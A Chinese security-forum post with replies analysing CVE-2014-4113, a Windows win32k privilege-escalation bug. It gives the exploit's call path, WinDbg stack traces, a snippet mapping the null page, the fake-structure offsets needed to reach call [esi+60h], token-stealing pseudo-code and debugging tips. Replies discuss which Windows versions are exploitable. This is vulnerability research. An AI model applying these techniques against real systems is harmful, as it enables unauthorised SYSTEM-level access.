首页
社区
课程
招聘
[原创]CVE-2014-4113分析摘要
发表于: 2014-10-20 21:28 17634

[原创]CVE-2014-4113分析摘要

2014-10-20 21:28
17634

CVE-2014-4113分析摘要
好吧,既然CVE-2014-4113的sample都已经公开了,就没必要隐藏细节了,只捡最重要的部分提,大拿们自动忽略, PS:不好意思,源码这个真没有,不过F5下也差不多了

1.        一张Vulnerability点callstack图简明说明利用漏洞时的调用过程
USER32!TrackPopupMenu->Enter Rin0-> win32k!xxxTrackPopupMenuEx       
-> win32k!xxxMNLoop
->win32k!xxxHandleMenuMessages-> win32k !xxxMNFindWindowFromPoint 获取之前的WndProc 里返回的精心选择的0xfffffffb(层层叠叠对WndProc filter了多次, 只在特定的0x1EB消息等才返回0xfffffffb, 具体怎么以及为什么这样控制,想必很有趣,哪个大拿分析下?)
-> win32k !xxxSendMessage (0xfffffffb,)-> win32k !xxxSendMessageTimeout(0xfffffffb,)
        -> Bypass [esi+0xX] check
->  call    dword ptr [esi+60h] //esi=0xfffffffb, 也就是NullPage中0x5B处的地址会被ring0执行,本sample中该地址是提权函数

实际堆栈见下:
kd> kv
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
9581ba60 9257b3c5 fffffffb 000001ed 0191fdb4 win32+0x1830 //Token Esclation function address in user mode
9581ba88 925fbe75 fffffffb 000001ed 0191fdb4 win32k!xxxSendMessage+0x28 (FPO: [4,0,0])
9581bae8 925fb7b1 9581bb08 00000000 0191fdb4 win32k!xxxHandleMenuMessages+0x58c (FPO: [3,15,4])
9581bb34 92601717 fe62f320 926e57e0 00000000 win32k!xxxMNLoop+0x2fa (FPO: [4,11,4])
9581bba0 92601802 fec9bc20 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5fd (FPO: [6,18,4])
9581bc14 82a508c6 013004d9 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [SEH])
9581bc14 77a970f4 013004d9 00000000 ffffd8f0 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ 9581bc34)
0191fdc8 774a483e 77492243 013004d9 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0191fdcc 77492243 013004d9 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6,0,0])
0191fdec 01251604 013004d9 00000000 ffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [7,0,0])
0191fe78 77beee1c 00000000 0191fec4 77ab37eb win32+0x1604
0191fe84 77ab37eb 00000000 66a76558 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [1,0,0])
0191fec4 77ab37be 01251526 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [SEH])
0191fedc 00000000 01251526 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [2,2,0])
kd> r eip
eip=01251830
kd> dd esp 9581ba24  9257b2f3 fffffffb 000001ed 0191fdb4

针对本步的详细调试log以及关键点说明见附件(本人不喜文章中过多图文:))
4113分析-下断单步跟踪到提权Code.txt
2.        0xfffffffb 这个诡异的数字怎从win32.exe用户态代码传入win32k.sys?
简单来讲是   
win32k!xxxMNFindWindowFromPoint->
->xxxSendMessage->反向过程调用->获取R3中WinProc return的-5

//用户态
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0198f5bc 7748c4e7 001406fe 000001eb 0198f6ec win32+0x146d
\\这里是设置的WinProc会push 0xfffffffb, pop eax
0198f5e8 7748c5e7 003013f3 001406fe 000001eb USER32!InternalCallWinProc+0x23
0198f660 77484f0e 00000000 003013f3 001406fe USER32!UserCallWinProcCheckWow+0x14b (FPO: [SEH])
0198f6bc 774bf0a3 00759e30 000001eb 0198f6ec USER32!DispatchClientMessage+0xda (FPO: [SEH])
0198f6e4 77a9702e 0198f6fc 00000018 0198f7fc USER32!__fnOUTDWORDINDWORD+0x2a (FPO: [1,3,0])
0198f6e4 82a91c2c 0198f6fc 00000018 0198f7fc ntdll!KiUserCallbackDispatcher+0x2e (FPO: [0,0,0])
00000000 00000000 00000000 00000000 00000400 nt!KiCallUserMode+0x4 (FPO: [3,0,4])
//反向过程调用,R0 call R3
//内核态
ChildEBP RetAddr  Args to Child              
abca58f0 9263a574 00000021 abca5934 00000018 nt!KeUserModeCallback+0xec
abca5984 92575e95 fec69e30 000001eb abca5a94 win32k!SfnOUTDWORDINDWORD+0xc0 (FPO: [SEH])
abca59cc 9257b316 08c69e30 000001eb abca5a94 win32k!xxxSendMessageToClient+0x175 (FPO: [7,5,4])
abca5a18 9257b3c5 fec69e30 000001eb abca5a94 win32k!xxxSendMessageTimeout+0x1cf (FPO: [8,7,4])
abca5a40 925fc1c7 fec69e30 000001eb abca5a94 win32k!xxxSendMessage+0x28 (FPO: [4,0,0])
// xxxSendMessage会接受R3下的0xfffffffb,用于win32k的exploit
abca5a8c 925fb986 fe9fd0c8 abca5af8 00000000 win32k!xxxMNFindWindowFromPoint+0x58 (FPO: [3,10,4])
abca5ae8 925fb7b1 abca5b08 926e57e0 00000000 win32k!xxxHandleMenuMessages+0x9e (FPO: [3,15,4])
abca5b34 92601717 fe9fd0c8 926e57e0 00000000 win32k!xxxMNLoop+0x2fa (FPO: [4,11,4])
abca5ba0 92601802 fec8ffa0 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5fd (FPO: [6,18,4])
abca5c14 82a508c6 0023081d 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [SEH])
abca5c14 77a970f4 0023081d 00000000 ffffd8f0 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ abca5c34)
0198f710 774a483e 77492243 0023081d 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0198f714 77492243 0023081d 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6,0,0])
0198f734 00301604 0023081d 00000000 ffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [7,0,0])
WARNING: Stack unwind information not available. Following frames may be wrong.
0198f7c0 77beee1c 00000000 0198f80c 77ab37eb win32+0x1604
0198f7cc 77ab37eb 00000000 667e23dc 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [1,0,0])
0198f80c 77ab37be 00301526 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [SEH])
0198f824 00000000 00301526 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [2,2,0])
针对本步的详细调试log以及关键点说明见附件
4113分析调试log--0xfffffffb怎么传入win32k-1.txt
3.        Map NullPage
  v6 = 8192;
  *(_DWORD *)a1 = 1;
  v2 = GetCurrentProcess();
  if ( fnZwAllocateVirtualMemory(v2, a1, 0, &v6, 1060864, 64) )
4.        NullPage事先还要在特定的地址deploy一些特定的内容,使得xxxSendMessageTimeout函数头可以执行到靠中间的call    dword ptr [esi+60h]。
e.g.
win32k!xxxSendMessageTimeout+0x179:
9257b2c0 f6461604        test    byte ptr [esi+16h],4

kd> dd esi+16h L1
00000011  00000004
kd> ? esi+16h
Evaluate expression: 17 = 00000011
所以0x11处要设置为0x4
其他的以此类推

5.        提权函数逻辑很简单,
*((EPROCESS*)(PsLookupProcessByProcessId(currentPID)).Token)=
*((EPROCESS*)(PsLookupProcessByProcessId(4/*system*/)).Token)

6.        奉送调试技巧:
a.        因为需要同时跟踪Ring3,Ring0代码,建议双机调试。
b.        !process 0 0 win32.exe 找到win32.exe对应的EPROCESS,
c.        ba e1 /p EPROCESS 0xXXXXXXXX(用户态地址任意下断)
d.        有时候要断在win32.exe的入口点查看信息,之后继续(e.g. 开启ALSR后查看每次启动后的主模块基址)
可以windbg Open EXE->任意指令(e.g. lm)->qd( quit debug and let exe continue to run)
e.        dps ETHREAD.Tcb.KernelStack L200 查看内核堆栈
f.        kv = caller-bp bp return 还原callstack


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 3
支持
分享
最新回复 (21)
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
2
今天早上测试下了2003,win7确实可以提权,楼主总结简明扼要... 感谢分享
2014-10-20 21:35
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
只有64位可提`并且win8,win8.1,server2012都提不了```不过也很好用了`
2014-10-20 21:43
0
雪    币: 1291
活跃值: (80)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
Win8是因为开启了Supervisor Mode Execution Prevention (SMEP) 硬件特性,防止Ring0代码执行Ring3代码。当然永远有例外,以及bypass。win7 默认没有。
http://blog.ptsecurity.com/2012/09/intel-smep-overview-and-partial-bypass.html
2014-10-20 21:48
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我是来看码的,居然无码,呵呵
哪位大牛补个码?
2014-10-20 22:12
0
雪    币: 155
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
分析的错误不少。

首先windows hook抓的是call proc的MN wnd from point消息,目的在于中断nc button down的处理过程,而不是nc button down的call back

然后这个其实不用啥调试,看看源码就明白了。。。

最后win8不受影响不是因为smep,这个很好过,而是因为win8默认非管理员权限是不能在低地址分配内存的,所以这个漏洞在win8可以说是没法利用的,因为IsMFMWFPWindow检查的存在,wnd proc只能返回0/-1/-5,所以fake wnd只能分配到0页上。
所以除非有技巧可以在win8上绕过低地址分配保护,否则这个漏洞就没法在WIN8以上利用
2014-10-20 22:43
0
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
有个错误!process 0 0 xxx.exe,是感叹号而不是点号
2014-10-21 09:22
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
KMAN大牛,牛X的很啊
源码在哪?
2014-10-21 10:53
0
雪    币: 1291
活跃值: (80)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
9
本来想随便调调,没想到大家这么热情技术,无论挑错还是探讨,都谢过:)
如果以后发现一些有意思的点,也会持续更新:)
2014-10-21 11:07
0
雪    币: 25
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
不好意思,误会LZ勒.x64分配的是0x1`00000000,问题确实是SMEP和ZwQuerySystemInfo
2014-10-21 13:11
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
我感觉。楼主可以分享一下源码。给小白看看。
2014-10-22 04:15
0
雪    币: 11138
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
win7通吃。看楼上们对win8连接的这么深入呀,拜摸。。
2014-10-22 07:54
0
雪    币: 226
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
大神,求分析
已经有windows8.1的了
上传的附件:
2014-11-2 16:10
0
雪    币: 226
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
补上图片

求大神写一个详细的帖子,新手,正在学内核溢出!
上传的附件:
2014-11-2 16:14
0
雪    币: 75
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
win8 32位的貌似是因为你说的禁止零页内存分配的原因。
2014-11-6 15:55
0
雪    币: 226
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
hello~
怎么没人啊~
木有人能详细解析一下 windows8.1怎么实现的吗?
英文pdf没看懂啊
2014-11-6 19:18
0
雪    币: 25
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
过两天应该就有人会放出来源码了吧。那个思路可以参考里面的参考内容。
2014-11-7 00:26
0
雪    币: 25
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
额,应该是吧,毕竟Win8把这个空间给Ban掉了
2014-11-7 08:24
0
雪    币: 47
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
没明白WIN8.1 上怎么实现。。求解惑
2014-11-19 14:22
0
雪    币: 155
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
win8.1 32位是无法利用的,因为这个漏洞需要分配落在0xfffffffb的地址,如果可以分配0地址也是可以的,但是win8.1不能分配低地址内存

但是x64可以申请到这个地址所以可以利用。
2014-11-19 21:08
0
雪    币: 32
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
请问一下这个在哪里能下载到啊?
2015-1-28 16:48
0
雪    币: 10
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
nt!RtlpBreakWithStatusInstruction:
8407e110 cc              int     3
kd> !process 0 0 win32.exe
PROCESS 8716d030  SessionId: 1  Cid: 0ae8    Peb: 7ffdb000  ParentCid: 0a64
    DirBase: 3f2fa480  ObjectTable: 963ff670  HandleCount:  25.
    Image: win32.exe

kd> bp win32k!xxxMNFindWindowFromPoint
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
kd> .process /i 8716d030
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
8407e110 cc              int     3
怎么不能断在win32k!xxxMNFindWindowFromPoint这个地方,之前设了断点的
2015-4-15 16:42
0
游客
登录 | 注册 方可回帖
返回
//